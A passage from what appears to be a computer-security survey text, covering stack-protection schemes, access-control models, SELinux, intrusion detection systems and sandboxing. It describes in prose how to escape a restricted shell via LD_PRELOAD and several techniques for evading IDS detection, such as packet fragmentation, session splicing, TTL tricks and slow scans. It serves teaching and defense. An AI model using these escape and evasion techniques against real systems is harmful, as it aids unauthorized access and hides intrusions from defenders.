shared library to the machine on which the daemon was running, and thus could obtain the
privileges of the daemon.
Defeating a restricted shell using LD_PRELOAD
Consider the example of a restricted shell (such as /usr/lib/rsh or /usr/bin/rksh on

Solaris). The user of such a shell is subject to one or more restrictions such as:
Not allowed to change critical environment variables like PATH and HOME.
Not allowed to change directory (cd) to arbitrary directories.
Not allowed to use absolute paths (that is, those starting with a /) in a command or a
filename.
Not allowed to redirect output of commands.
Only allowed to execute a limited set of commands.
Depending on the platform, and the naïvte or oversight of the administrators, it might be
possible (but usually is not) to break out of such a shell trivially, say, by launching an
unrestricted shell from within a text editor.
Another way out might be possible using LD_PRELOAD (I say "might" as I have not tested this
in many years). Curiously, LD_PRELOAD is not a restricted variable in a restricted shell. If any
dynamically linked program is in the path, write a few lines of code to replace execve(),
create a shared library, and place it in the restricted account. The new code modifies/re-
creates the environment pointer of the execve'd program (SHELL=/bin/sh, to begin with).
Thereafter, it is possible to undo the restriction.
Secure Programming
Perhaps the most effective defense against a variety of attacks would be something that is
subjective, open-ended, hard to attain, costly (in terms of time and money), and clichéd: good
design and good programming.
It is usually difficult for a programmer to check for vulnerabilities in his own software.
Secure Languages
A more realistic, though not always practical, option is to use "safe" programming languages. If
a language is both type-safe and easy to use, it effectively aids the programmer in writing
safer code. An example is that of Java.
Compared to C, the probability of making subtle errors is smaller in Java. The code run by the
Java Virtual Machine (JVM) has structural constraints that are verified through theorem
proving. An important part of verifying a Java class file is verification of the Java bytecode
itself. In this process, each method's code is independently verified: instruction by instruction.
If an instruction has operands, they are checked for validity too. For example, the data-flow
analysis performed during this verification would make sure that if an instruction uses
operands (from the operand stack), there are enough operands on the stack, and that they are
of the proper types. The verifier also ensures that code does not end abruptly with respect to
execution. There are various other steps in this comprehensive verification process.
Moreover, the "sandboxing" properties of the JVM aid in security as well. Depending on
whether it is local or remote code (an application vs. a downloaded applet, say), the
restrictions placed by the Java runtime can vary greatly.
Another example of a safe language is ML. There even exist safe(r) dialects of C.
Note that a secure languages does not guarantee security. There could be flaws in the design
or implementation of the language, or it may be used insecurely, or used in an insecure
context.
While programmers could consciously not use functions that are vulnerable in any reasonable
context, one has to contend with the vast bodies of code already existing. Even with
automation (such as programmatically searching for vulnerable functions), auditing and
reviewing large amounts of code is a difficult task — vulnerabilities can be created when
normally secure functions are used in insecure ways, often subtly. For example, it is important
to anticipate all kinds of data that will be presented to the program. Suppose you disallow a
path separator character in the input ('/' or '\'), in this age of internationalization and Unicode,
you must ensure that you are accounting for all representations of the undesirable characters.
There has been a great deal of security-related activity both in academia and the industry in
recent years, and rightly so: security is an extremely lucrative and glamorous part of the
industry.
Making Buffers Non-executable
A relatively early solution to the stack overflow class of attacks was to make the stack
unexecutable. This could be generalized to making any kind of buffers unexecutable, so that
even if an attacker manages to introduce rogue code into a program's address space, it simply
cannot be executed. Making the entire data segment unexecutable does not work too well
though — it is common for operating systems to legitimately generate code dynamically (for
performance reasons, say) and place it in a data segment.
Note that we observed earlier that exploitable code does not necessarily have to be "injected"
via a payload. Such code may already be present (legitimately) in the program's address
space. Nonetheless, making the stack segment unexecutable does make things better, even
though the defense is far from perfect.
One minor complication is that some systems might use executable stacks for implementing
certain functionality. An often cited example is that of the Linux kernel, which emits signal
delivery code on a process's stack (refer to the setup_frame function in
arch/i386/kernel/signal.c). The approach used by a popular Linux unexecutable-stack
patch is to make the stack executable for the duration of the above operation.
Another example is that of GCC trampolines. A trampoline is a small piece of code that is
created at run time when the address of a nested function is taken. It normally resides on the
stack, in the frame of the containing function. It is not very common to use this feature of GCC
though.
libsafe
Baratloo, Tsai, and Singh [Transparent Run-Time Defense Against Stack Smashing Attacks,
2000] used two dynamically loadable libraries to defend against stack smashing. The first,
libsafe, intercepts all library calls to vulnerable functions, and reroutes them to alternate
versions that provide the same functionality as the original versions, but additionally ensure
that any buffer overflows would be contained within the current stack frame — by estimating a
safe upper limit on the size of buffers automatically. In this scheme, local buffers are not
allowed to extend beyond the end of the current stack frame. The second library, libverify,
implements an idea similar to StackGuard (see below), but instead of introducing the
verification code at compile time, libverify injects the code into the process's address space
as it starts running. Therefore, libverify can be used with existing executables, without
recompiling them.
Both these libraries are used via LD_PRELOAD.
Monitoring Instructions
An approach similar to Java's bytecode verification could be to monitor those instructions — at

runtime — that cause transfers of control flow. Although it sounds rather heavy-handed (and
expensive performance-wise), Kiriansky, Bruening, and Amarasinghe presented a technique
[Program Shepherding, 2002] for verifying every branch instruction to enforce a security
policy. Their goal was to prevent the final step of an attack: the transfer of control to malicious
code. They used an interpreter for this monitoring, although not via emulation (it would likely
be unacceptably slow), but using a dynamic optimizer (RIO), which results in much better
performance than would be possible through emulation.
Bounds Checking
An effective, though performance-wise expensive and difficult to implement (for C) technique
to prevent buffer overflows is checking bounds on arrays. Note that in order to do range
checking on buffers at run time, we would need the size of buffers in the executable. Lhee and
Chapin [Type-Assisted Dynamic Buffer Overflow Detection, 2002] modify the GNU C compiler
to emit an additional data structure describing the types of automatic and static buffers. With
some exceptions, the types of such buffers are known at compile time.
Stack Shield
Stack Shield is a GNU C compiler modification that works by having a function prologue copy
the return address to the beginning of the data segment, and having a function epilogue check
if the current value of the return address matches the saved one.
FormatGuard
FormatGuard is a GNU C library patch that redefines printf and some related functions
(fprintf, sprintf, snprintf, and syslog) to be C preprocessor macros. Each of these
macros includes a call to an argument counter, the result of which (the argument count) is
passed to a safe wrapper, the __protected_printf function, which determines if the
number of % directives is more than the number of provided arguments.
Applications must be re-compiled from source to make use of FormatGuard.
PointGuard
PointGuard is a modification to the GNU C compiler to emit code for encrypting pointer values
while they are in memory, and decrypting them just before they are dereferenced. The idea is
that pointers are safe while they are in registers (because they are not addressable), and they
are safe in memory if encrypted, as it would not be possible for an attacker to corrupt a pointer
so that it decrypts to a predictable value. Consequently, PointGuard requires the use of
load/store instructions (that is, a pointer is dereferenced only through a register) to be
effective.
The encryption scheme is simply a XOR operation with the key, a word sized value generated
from a suitable entropy source (such as /dev/urandom). Each process has its own encryption
key, which is chosen at exec() time, and is stored on its own read-only page.
Note that statically initialized data is taken care of by re-initializing it, with pointer values
encrypted, after the program starts running.
StackGuard
StackGuard is a mechanism that can be built into the GNU C compiler for detecting corrupted
control information on the stack (in procedure activation records). StackGuard adds a "canary"
word to the stack layout.
The canary is an allusion to the practice among Welsh coal miners of carrying a canary with
them as they went down — the canary was more sensitive to poisonous gas than a human
being.
The canary holds a special guard value, which may be a terminator character (such as NULL,
CR, LF, and EOF), or a random number (as in OpenBSD's ProPolice). Control information may
even be XOR-encrypted. A piece of prologue code generates the canary, and a piece of
epilogue code verifies it. A recent StackGuard version has included the saved registers and
saved frame pointer (in addition to the return address for a procedure) to the set of guarded
entities.
Although two implementations of the same idea, StackGuard and ProPolice differ in several
subtle ways.
Microsoft's Visual C++.NET has a similar feature, using the /GS switch. It can also compile
builds with another runtime checking mechanism enabled (the /RTCs switch) that uses guard
blocks of known values around buffers.
RaceGuard
RaceGuard is a kernel enhancement for protecting against vulnerabilities that result from race
conditions during temporary file creation — a typical TOCTTOU (Time of Check To Time Of Use)
problem. The underlying idea is to distinguish between the following two sequences:
1 Does the file exist? 1 Does the file exists?
2 Create the file 1.5 Attacker creates a link
2 Create the file
In the column on the right, the attacker exploits the race condition by creating, say, a symbolic
link, to an already existing sensitive file, or even a non-existent file whose existence could be
misused.
RaceGuard uses a per-process filename cache in the kernel. During a request for opening a file,
if the result of step 1 is "NO", RaceGuard caches the filename. If step 2 encounters an existing
file, and the filename is in the RaceGuard cache, the open attempt is designated as a race
attack, and is aborted. If step 2 is successful and there are no conflicts, a matching entry in
the RaceGuard cache is evicted.
PaX
PaX is an enhancement for Linux that uses several hardening techniques aimed at preventing
address-space (memory) related exploits for a number of processor architectures. In particular,
PaX implements non-executability of memory pages and randomization of address space
layout.
Depending on whether a platform has a per-page executable bit in hardware, PaX can use or
emulate this bit. In the particular case of IA-32, which does not have this bit in hardware
(referring to mmap()/mprotect(), both PROT_EXEC and PROT_READ are the same bit), PaX
emulates similar functionality by dividing user-level address space (normally 3 GB on Linux/IA-
32) into two equal parts, with both the user code segment and the user data segment getting
1.5 GB each. A technique termed VM area mirroring duplicates every executable page in the
lower half (user data) to the upper half (user code). Instruction fetch attempts at addresses
located in the data segment that do not have any code located at its mirrored address will
cause a page fault. PaX handles such page faults, and kills the task.
Another feature of PaX, Address Space Layout Randomization (ASLR), randomizes locations of
objects such as the executable image, library images, brk/mmap managed heaps, user and
kernel stacks. Data in the kernel can be made non-executable, and some critical kernel objects
(the system call table, IDT and GDT on the x86, etc.) can be made read-only, although at the
cost of having no loadable kernel module support.
In order to use fully position independent code, PaX uses a special type of ELF binary, ET_DYN,
for relocation of the binary at a random location. Such binaries are mmap'd into memory just
like regular shared object libraries. Note that this requires recompilation and relinking of all
applications.
Red Hat's ExecShield is similar to PaX in many respects. It uses the Position Independent
Executable (PIE) format to randomize executable images.
Some relevant links are listed below:
ExecShield
grsecurity
kNoX
Openwall
PaX
RSX
Randomization
Bhatkar, DuVarney, and Sekar [Address Obfuscation: an Efficient Approach to Combat a Broad
Range of Memory Error Exploits, 2003] have proposed address obfuscation to randomize the
absolute locations of code and data, and to randomize the relative distances between different
data items. They use a combination of techniques to achieve this: randomizing the base
address of memory regions, permuting the order of variables and routines, and introducing
random gaps between objects (for example, random padding into stack frames, between
successive malloc requests, between variables in the static area, and even within routines,
along with jump instructions to skip over these gaps).
OpenBSD
OpenBSD, with its emphasis on proactive security, uses a combination of several techniques to
harden the memory subsystem. Some of these are:
ProPolice: Similar to StackGuard, this technique uses a function prologue to place a

random "canary" word on the stack, next to the return address. A function epilogue checks the
random canary for modification. If the canary is modified, there is an alert, and the process is
killed. Additionally, the stack is rearranged to make the return address closer to buffers, with
the hope that overflows would be more likely to destroy the canary.
Randomization: Stack-gap randomization places a randomly sized gap on top of the
stack, making a successful stack overflow more arduous, at the cost of some wasted memory.
malloc and mmap are also randomized.
.rodata: An executable's code segment (the text segment) typically consists of machine
code and read-only data. Noting that the move from a.out to ELF did not make use of several
ELF features, OpenBSD has moved to a separate ELF section for storing read-only strings and
pointers. This section, .rodata, is not supposed to be executable (if possible). If so, data that
is present in a program and looks like machine code cannot be executed from an exploit.
W^X: The idea is that no page should be mapped so that it is both executable and writable
at the same time. ELF's Global Offset Table (GOT) is both executable and writable. OpenBSD
moved the GOT and the PLT to their own segments. Note that on the x86, there is no per-page
executable bit in hardware. In other words, PROT_READ implies PROT_EXEC. One imperfect
solution is to limit the length of the code segment, so that the user address space is divided
into executable and non-executable parts.
Some other security-related features (and philosophies) of OpenBSD include:
By default, all non-essential services are disabled ("Secure by Default" mode). No

services/daemons are started without informing the administrator. Binary emulations are also
disabled by default.
Kernel modules cannot be loaded or unloaded in securelevel greater than 0 (such as multi-
user mode).
Privilege Separation, a scheme that divides a privileged program into a privileged parent
process and an unprivileged child process. The parent monitors the child. The parent's logic is
limited enough to be verified easily, say, using a finite state machine. The child delegates
privileged operations to the parent through a well-defined interface.
Support for encrypted virtual memory.
Size-bounded string copying and concatenation (strlcpy() and strlcat()).
Privilege revocation, chroot jailing, protection of atexit().
A dedicated security auditing team whose task is to continue searching for and fixing new
security holes. OpenBSD developers and maintainers believe in full disclosure of security
problems.
Access Control
Access Control is an internal (to an operating system) protection mechanism. One form of
access control is seen in CPU instructions that may only be executed in supervisor mode, which
usually amounts to within the kernel. The division of virtual memory into kernel and user parts
is also a form of access control.
The Matrix
Access control plays an important role at the administrative level too. The well-aged Access
Matrix model is basis for several access control mechanisms. In this model, you have:
Objects: resources (for example, hardware devices, data files, etc.) that need access
control (that is, must be accessed in a protected fashion)
Subjects: active entities (for example, user processes) that access objects
Rights: operations (such as enable, disable, read, write, execute, etc.) on objects are
represented by access rights
It is useful to point out the concept of a protection domain, which may be thought of as a
collection of access rights that subjects inside the domain enjoy. In a typical operating system,
the kernel is in its own protection domain. Each user (each user's processes, to be precise) is
in a separate domain. For a given user, each of his processes are in separate domains too.
Carrying this further, you will realize that within a program, different subroutines may be in
different domains. An important thing to note is that domains may overlap with, or even
entirely contain, other domains.
The model could be visualized as a matrix M where each row i represents an object i, each
column j represents a subject j, and matrix element M[i, j] contains a set of rights. Note that
M[i, j] could be empty. In a real-life operating system, such a matrix would have a large
number of rows and columns, but would be sparse, thereby rendering a global table (explicitly
as a two-dimensional data structure) would be inefficient.
Implementation Approaches
Two popular implementation approaches are Access Lists and Capability Lists.
An access list enumerates who all may access a particular object. Thus, you need to know the
identities of all subjects. The Unix file permission scheme is an example. Note that in the
context of Unix file permissions, "others" is a wildcard (catch-all) for subjects whose identity is
not known (they may not even exist yet). Access lists are more effective when it's easy to put
subjects in groups.
A capability list enumerates each object along with the operations allowed on it. This is a
ticket-based scheme, where the possession of a capability (an unforgeable ticket) by a subject
allows access to the object. In this scheme, it is extremely critical to protect the capability list,
as capabilities must not propagate without proper authentication. Note that capabilities are
finer grained than access list entries, and often can replace the Unix all-or-nothing super-user
model. For example, rather than making the ping command setuid root, it is more secure to
have a capability representing raw access to the network, and providing only that to ping.
DAC and MAC

The terms Discretionary and Mandatory are frequently used in the context of access control.
A discretionary access control (DAC) scheme is, well, at the discretion of the user. An object's
owner (who is usually also the object's creator) has discretionary authority over who else may
access that object. In other words, access rights are administered by the owner. Examples
include Unix file permissions and a username/password system. Note that with DAC, the
system cannot tell the real owner apart from anybody else. Moreover, if an access attempt
fails, you may get any number of chances to retry.
Thus, access decisions in DAC are only based on apparent ownership, without taking into
account the user's role or the program's functionality. Every program a user executes inherits
the user's privileges. Moreover, these privileges are coarse-grained. Consequently, every
setuid root application gets all possible privileges, which is usually an overkill.
Note that there are usually only two types of users: the super-user (administrators) and
"normal" users.
Mandatory access control (MAC) involves aspects that the user cannot control (or is not usually
allowed to control). A Utopian (or Draconian, if you so wish) MAC system would be one that
uses your DNA. Another example is that of a hardware address that cannot be changed by a
user. Under MAC, objects are tagged with labels representing the sensitivity of the information
contained within. MAC restricts access to objects based on their sensitivity. Subjects needs
formal clearance (authorization) to access objects.
As an example, on Trusted Solaris, MAC relies on sensitivity labels attached to objects. The
MAC policy compares a user's current sensitivity label to that of the object being accessed. The
user is denied access unless certain MAC checks are passed. It's mandatory as the labeling of
information happens automatically, and ordinary users cannot change labels. In contrast, DAC
uses file permissions and optional access control lists (ACLs) to restrict information based on
the user's ID (uid) or his group ID (gid). It's discretionary as a file's owner can change its
permissions at his discretion.
Authentication is the process of validating that a subject's credentials are correct (for example,
verifying a particular user's identity). Authentication may be implemented taking into account
one or more mechanisms: something the user knows (for example, a password), something
the user possesses (for example, an RSA SecureID token), and something that is universally
unique to the user (for example, Biometrics).
Authorization is the process of checking if a validated subject is permitted to access a particular

object, and either granting or rejecting the attempted access. Authorization follows
authentication.
Auditing is the recording of key (or designated) events in the authentication and authorization
processes, say, in a log.
DTE
Domain and Type Enforcement (DTE) [Badger et al, 1995] is an access control mechanism
based on the principle of least privilege. Thus, only those access rights that are absolutely
necessary are granted to a program. DTE is enforced in the kernel, but is configurable, and is
meant to be used as a tool for implementing MACs.
In DTE, subjects are grouped into domains, while objects are grouped into types. Access rules
specify which domains have access to which types. Execution of certain programs may cause
transitions between domains. An important feature of DTE is a high-level language, DTEL, that
allows specification of security policies. A sample policy is shown below:
/* Sample DTE Policy */
type unix_t /* normal UNIX files, programs, etc. */
type movie_t /* movie footage */
#define DEFAULT (/bin/zsh), (/bin/sh), (/bin/csh), (rxd->unix_t)
domain editor_d = DEFAULT, (rwd->movie_t);
domain system_d = (/etc/init), (rwxd->unix_t), (auto->login_d);
domain login_d = (/bin/login), (rwxd->unix_t), (exec->movie_d);
initial_domain system_d; /* system starts in this domain */
assign -r unix_t /;
assign -r movie_t /projects/movies;
The above specification means that the first process (/etc/init) starts in the system_d
domain. All processes inherit this domain, except /bin/login, which runs in its own domain,
which has the authority to create the user domain movie_d.
Flask and SELinux

The National Security Agency (NSA) and Secure Computing Corporation (SSC) collaborated to
design a generalization of type enforcement as a flexible access control mechanism. Originally
implemented for microkernel-based systems (such as Mach), the architecture was enhanced as
the University of Utah joined in to to integrate it into the Fluke research operating system.
Later ported (in part) to Utah's OSKit, Flask was most recently implemented for Linux,
resulting in Security-Enhanced Linux (SELinux).
Flexibility in such an architecture was important for it to be acceptable for mainstream

operating systems. SELinux includes mandatory access controls on a variety of objects:
processes (operations such as execute, fork, ptrace, change scheduling policy, send certain
signals, ...), files (create, get/set attributes, inherit across execve, receive via IPC), filesystems
(mount, remount, unmount, associate), TCP and Unix domain sockets, network interfaces, IPC
objects, procfs, devpts, and so on.
Similar to DTE, the security policy configuration in SELinux uses a high-level language for
specification. Type enforcement can be combined with Role-Based Access Control (RBAC),
wherein each process has an associated role. System processes run in the system_r role,
while user may have roles such as sysadm_r and user_r. A role is only allowed to enter a
specified set of domains. Domain transitions may occur, for example, to a more restricted
domain when the user runs an application that should be run with a subset of the user's
privileges.
Linux Security Modules

Linux Security Modules (LSM) [Cowan et al, 2002] is a general purpose access control
framework for the Linux kernel that allows various access control modules to be implemented
as loadable kernel modules. Some existing access control implementations have been ported to
this framework, such as:
POSIX.1e capabilities
SELinux
Domain and Type Enforcement
SubDomain (least-privilege confinement)
OpenWall
The LSM interface mediates access to internal kernel objects by using hooks in the kernel code
just before the access. Most LSM hooks are restrictive, but permissive hooks are supported.
Examples of kernel objects include process structures, superblocks, inodes, open files, network
devices, network buffers, sockets, skbuffs, ipc message queues, semaphores, and shared
memory, and so on. Opaque security fields are used to associate security information with
these objects.
CQUAL is a type based static analysis tool. Zhang, Edwards, and Jaeger [Using CQUAL for
Static Analysis of Authorization Hook Placement, 2002] used a CQUAL lattice, along with GCC
changes, to verify complete mediation of operations on key kernel data structures. The goal is
to ensure that each controlled operation is completely mediated by hooks that enforce its
required authorization.
CQUAL also supports user defined type qualifiers.
LIDS
Linux Intrusion Detection System (LIDS) is an enhancement for the Linux kernel that
implements, among other things, mandatory access control.
Some other interesting features of LIDS include a built-in portscan detector, the ability to
"seal" the kernel so that no more kernel modules may be loaded or unloaded, filesystem access
control lists, capability lists to control super-user privileges, etc. Note that LIDS allows you to
disable a capability so that even the super-user may not use it (for example, the ability to
install a packet sniffer, or configure the firewall), and also re-enable it.
Dealing with Intrusion
As we saw earlier, viruses and worms have been part of computing for several decades — since
before the advent of the Internet, and before the advent of Windows.
Since the early 1960s, it has been possible to connect to remote computers — via modems.
Looking Back
In early 1980, James Anderson published a report of a study, the purpose of which was to
improve the computer security auditing and surveillance capability of (customers') computer
systems. In this report titled Computer Security Threat Monitoring and Surveillance, Anderson
introduced the concept of intrusion detection, and concluded that "The discussion does not
suggest the elimination of any existing security audit data collection and distribution. Rather it
suggests augmenting any such schemes with information for the security personnel directly
involved."
In the mid-1980s, a group of "hackers" called the "414 Club" (they were in the 414 area code)
used PCs and modems to dial into remote computers. Many of these computers were not really
protected (with passwords, for example), and once you had the dial-in phone number, you
could gain access. The hackers simply wrote a program to keep dialing numbers until a modem
answered. Moreover, it was not as easy to trace callers as it is today.
In September 1986, several computers in the bay area were broken into, apparently as a result
of somebody first breaking into one Stanford computer that had a default username and
password pair (such as { guest, guest }).
Today
Today, computer system intrusion is almost taken for granted.

Although it is of paramount importance to prevent intrusions from happening, a perfect
solution is perhaps impossible. Consequently, in addition to combating intrusion by preventing
it, there is emphasis on detecting it, be it in real-time or after the fact. More specifically, one
would like to detect an intrusion attempt as soon as possible, and take necessary and
appropriate actions to minimize (preferably avoid) any actual damage. There has been plenty
of research activity in this area particularly in the last decade. Today, an Intrusion Detection
System (IDS) is an important component of any security infrastructure.
Historically, IDSs were not proactive in that they did not take any action by themselves to
prevent an intrusion from happening, once detected. Recent systems have given importance to
hooking up detection events with preventive mechanisms. For example, IDSs exist that
respond to threats automatically by reconfiguring firewalls, terminating network connections,
killing processes, and blocking suspected malicious networks.
Approaches
The intrusion detection problem could be addressed using two broad approaches: detecting
misuse, and detecting anomalies.
Misuse Detection
Misuse detection is essentially pattern matching, where patterns of activities are compared
with known signatures of intrusive attacks. Similar to virus scanning, this approach requires a
database of signatures of known attacks. The database would require frequent updates as new
exploits are developed and discovered. Now, while some signatures could be simple — without
requiring a lot of, or any, state (for example, a specific number of failed login attempts,
connection attempts from a reserved IP address range, network packets with illegal protocol
flags, email with a virus as an attachment, etc.), others may require more complex analysis
(and more state). An example of the latter kind would be an attempt to exploit a remote race
condition vulnerability.
Anomaly Detection
Anomaly detection looks for activity patterns that are dissimilar (with a degree of fuzziness) to,
or deviate from, "normal" behavior. The implicit assumption is that an intrusive activity will be
anomalous. Note that it is extremely difficult to define what is normal. There might be
anomalous activities due to legitimate system use, leading to false alarms. Moreover, an
intruder may explicitly avoid changing his behavior patterns abruptly so as to defeat detection.
It is expensive and difficult both to build a profile of normal activity, and to match against it.
There have been attempts to build the execution profiles of applications statistically, that is, by
tracking aspects such as the names and frequencies of system calls made, sockets of various
types used, files accessed, processor time used, and so on. You could also take into account
the probability of an event happening in an application given the events that have happened so
far (prediction). Researchers have also considered using neural networks to predict such future
events.
Deployment
From the point of view of where they reside, IDSs can be host-based or network-based.
Host-based IDSs (HIDS) that analyze audit trails have existed since the 1980s, although they
have evolved into more sophisticated (automated, relatively real-time) systems. Host-based
IDSs are system-specific as they operate on the host. In many cases, it may be impossible, or
at least difficult, to have an IDS outside of the host — consider an encrypted network or a
switched environment. While a host-based IDS may have a firewall (which in turn may be built
into the network stack), they can also monitor specific system components.
Note that a firewall reinforces overall security, but by itself does not constitute an IDS. While
an IDS is essentially a burglar alarm, a firewall could be likened to a barbed-wire fence.
Network-based IDSs (NIDS) are not part of one particular host. They are meant to operate on
a network (multiple hosts), and thus are usually operating system independent. They often
work by analyzing raw network packets in real-time. An important benefit of network-based
IDSs is that an intruder, even if he is successful, would not be able to remove or tamper with
evidence in most cases. In contrast, a successful intruder would find it easier to modify audit or
other logs on a host.
Some NIDS are capable of doing packet-scrubbing. For example, if a NIDS detects shellcode,
then, rather than drop the relevant packets, the NIDS would rewrite the packet to contain a
modified version of the shellcode: one that is not harmful. One benefit of doing so is that the
attacker would not get a clear indication that his attack was detected.
Protocol scrubbing is also used in the context of traffic normalization, a technique for removing
potential ambiguities in incoming network traffic. This is done before a NIDS gets to see the
traffic. Thus, the NIDS' job is easier (less resources used, fewer false positives, etc.) as it does
not have to deal with ambiguities, many of which may be part of benign traffic.
Example: SNARE
SNARE (System Intrusion Analysis and Reporting Environment) is a host-based IDS for
collection, analysis, reporting, and archival of audit events. There are SNARE security "agents"
for multiple operating systems and applications, and a proprietary SNARE server.
The SNARE system consists of changes to an operating system kernel (for adding auditing
support), the SNARE audit daemon (which acts as an interface between the kernel and the
security administrator), and the SNARE audit GUI (user interface for managing the daemon).
The administrator can turn on events, filter output, and potentially push audit log information
to a central location.
SNARE is available for Linux, Solaris, and Windows.
A few examples of IDSs are:
HIDS: Basic Security Module (Solaris), Entercept, RealSecure, SNARE, Squire, Unix syslog
facility, Event Logs on NT-based Windows, etc.
NIDS: Dragon, NFR, NetProwler, Shadow, Snort, etc.
Example: Snort
Snort is a popular open source intrusion detection system. In its simplest form of operation,
Snort can work as a packet logger or network sniffer. As a Network IDS (NIDS), it works with a
user-defined set of rules specified in a simple rule description language. Snort is capable of
doing a stateful protocol analysis and content-matching. The detection engine uses a plug-in
architecture, allowing for easy extension of its detection capabilities, which include detecting
buffer overflow attacks (by matching shellcode, say), SMB probes, OS fingerprinting, stealth
port scans, CGI NUL-byte attacks, and several more.
Research
There have been several efforts, in academia or otherwise, to build effective and efficient
intrusion detection systems. Bro [Paxson, 1998] was comprised of a packet capturing library
(libpcap) over the link layer, an Event Engine for performing integrity checks, processing
packets, and potentially generating events, and a Policy Script Interpreter that executes scripts
(specifying event handlers) written in the Bro language. Bro's initial implementation did
application-specific processing for a small set of applications: Finger, FTP, Portmapper, and
Telnet.
Wu, Malkin, and Boneh [Building Intrusion-Tolerant Applications, 1999] argue for building
applications that result in very little harm done even in the face of a successful intrusion. The
main design principle is that long term security information should never be located in a single
location (no single point of attack). They use the example of a web server's private key, and
share it among a number of share servers. Thereafter, they do not reconstruct the key at a
single location to use it, but use Threshold Cryptography to use the key without ever
reconstructing it.
Zhang and Paxson [Detecting Backdoors, 1999] have looked at the specific problem of
detecting backdoors that have been implanted to facilitate unauthorized access to a system.
They present a general algorithm for detecting interactive backdoors, as well as several
application specific algorithms (SSH, Rlogin, Telnet, FTP, Root Shell, Napster, and Gnutella).
Somayaji and Forrest [Automated Response Using System-Call Delays, 2000] use the approach
of delaying system calls as an automated intrusion response. Their system call pH (process
homeostasis) monitors every executing process at the system-call level, and responds to
anomalies by either slowing down or aborting system calls.
Researchers from Network Associates, Inc. used a combination of intrusion detection and
software wrapping [Detecting and Countering System Intrusions Using Software Wrappers,
2000] to better defend against intrusions. Using a generic software wrapper toolkit, they
implemented all or part of an intrusion detection system as ID wrappers — software layers
dynamically introduced into the kernel. ID wrappers are meant to select intercept system calls,
analyze the interceptions, and respond to potentially harmful events. Their emphasis is on
moving most of the IDS logic inside the kernel, for performance reasons, for security (of the
IDS itself) reasons, and for finer-grained control. Moreover, their system allows composition of
multiple ID techniques (such as those based on specification of valid program behavior,
signature-based, and sequence-based) where each technique is implemented in a separate ID
wrapper.
Host Integrity
Whether you regard it as a sub-component of a HIDS, complementary to a HIDS, or
supplementary to a HIDS, an integrity checking mechanism is a useful security tool. Systems
implementing such mechanisms have evolved from rudimentary checksum-based systems to
comprehensive, perhaps distributed, change monitoring and reporting frameworks. For
example, such a host integrity monitoring agent could monitor the state of (and changes to)
entities such as:
Filesystems
Loaded kernel extensions
User and group databases
Users logging in and logging out
The most appropriate time to install such a system on a host is before the host is deployed.
Specifically, the "baseline", that is, a reference point against which future states of the system
will be compared, must be created before deployment. Moreover, the baseline must be stored
outside the host, or on read-only media (whose writability is not toggle-able via software).
Similarly, the agent that scans the current state of the host and compares it to the baseline
would ideally not run on the host itself, and perhaps not even use the filesystem or disk drivers
of the host.
Examples of host-based integrity tools include:
AIDE
BART (Solaris)
INTEGRIT
Osiris
Samhain
Tripwire
Countering Intrusion Detection

Good malware proactively attempts to counteract IDSs — a logical extension of the virus/anti-
virus battle. Unfortunately, IDSs have are worse-off in this regard, and it could require a great
deal of creative thinking, system resources, and expert administration to come up with an
effective IDS. Let us consider examples of some issues involved:
If an IDS looks for strings in packets, such pattern matching may easily be defeated. URLs
can be encoded (in hexadecimal, UTF-8, UTF-16, etc.), and strings can otherwise be
obfuscated (or may be dynamically generated using the command line, instead of being
present in the packet). In the context of Unicode, it could be possible to use alternate
representations of a code point to get illegal characters through, as exemplified by an earlier
canonicalization bug in Microsoft's IIS. The IDS could attempt to parse strings as much as
possible to counter such ploys.
Pathname strings could be made harder to pattern-match in some other ways too (multiple
pathname separators, reverse traversal, self-referential directories, etc.)
In similar vein to a polymorphic virus, shellcode could be polymorphic too.
Instead of sending the entire payload in one (or the minimum number of) packets, an
attacker could distribute it across several packets (session splicing). Thus, a string which would
otherwise raise alarms upon detection could be sent a character at a time. To counter this, the
IDS could look askance at, say, at unusually small web requests. The IDS could even choose to
keep state up to a certain point. Note that more stringency comes at the expense of resources.
It is possible to send fragmented packets such that upon reassembly, a packet overwrites
(partly or fully) a previous fragment. Thus, a series of packets could be constructed so that the
request looks innocuous to an IDS, based upon the first few fragments.
The TCP urgent point could be used, depending upon protocol implementation, to make
certain characters "disappear" upon receipt.
Intermittently, certain packets could be sent with a TTL value that is just small enough to
ensure that those packets reach the NIDS, but not the eventual target.
A port-scan could be made slow enough so as to fall below the threshold at which the IDS
would deem it as one.
Intrusion Prevention System (IPS)

A cutting-edge IDS could have enough features that try to prevent an attack in real time so as
to qualify for an intrusion prevention system (IPS).
Full-fledged efforts for intrusion prevention would require enough host-specific actions that an
effective IPS would probably be host-based, and could be a very useful complement to a
regular IDS.
There has been a rise in the emergence of such systems in recent times: those that monitor
system calls, library calls, memory use, overall program behavior, etc. On the proactive side,
such a system could guard against host-based attacks, and perhaps even prevent arbitrary
untrusted applications from executing at all (requiring proper deployment — an initiation of
sorts — for all new applications). Several companies are offering such systems, calling them
application firewalls, memory firewalls, host armors, etc.
Sandboxing
Sandboxing is a popular technique for creating confined execution environments, which could
be be used for running untrusted programs. A sandbox limits, or reduces, the level of access its
applications have — it is a container.
If a process P runs a child process Q in a sandbox, then Q's privileges would typically be
restricted to a subset of P's. For example, if P is running on the "real" system (or the "global"
sandbox), then P may be able to look at all processes on the system. Q, however, will only be
able to look at processes that are in the same sandbox as Q. Barring any vulnerabilities in the
sandbox mechanism itself, the scope of potential damage caused by a misbehaving Q is
reduced.
Sandboxes have been of interest to systems researchers for a long time. In his 1971 paper
titled Protection, Butler Lampson provided an abstract model highlighting properties of several
existing protection and access-control enforcement mechanisms, many of which were semantic
equivalents (or at least semantic relatives) of sandboxing. Lampson used the word "domain" to
refer to the general idea of a protection environment.
There were several existing variants of what Lampson referred to as domains: protection
context, environment, ring, sphere, state, capability list, etc.
Historical Example: Hydra
Hydra [1975] was a rather flexible capability-based protection system. One of its fundamental
principles was the separation of policy and mechanism. A protection kernel provided
mechanisms to implement policies encoded in user-level software that communicated with the
kernel. Hydra's philosophy could be described as follows:
It is easier to protect information if it is divided into distinct objects.

Assign a particular type to each object. Some types (such as Procedure and Process) are
provided natively by Hydra, but mechanisms exist for creating new types of objects. Hydra
provides generic (type-independent) operations to manipulate each object, in addition to
mechanisms for defining type-specific operations.
Capabilities are used to determine if access to an object is allowed. Objects do not have
"owners".
Each program should have no more access rights than that are absolutely necessary.
Hydra abstracted the representation and implementation of operations for each object type
in modules called subsystems. A user could only access an object through the appropriate
subsystem procedures. Moreover, Hydra provided rights amplification — wherein a called
procedure could have greater rights in the new domain (created for the invocation) than it had
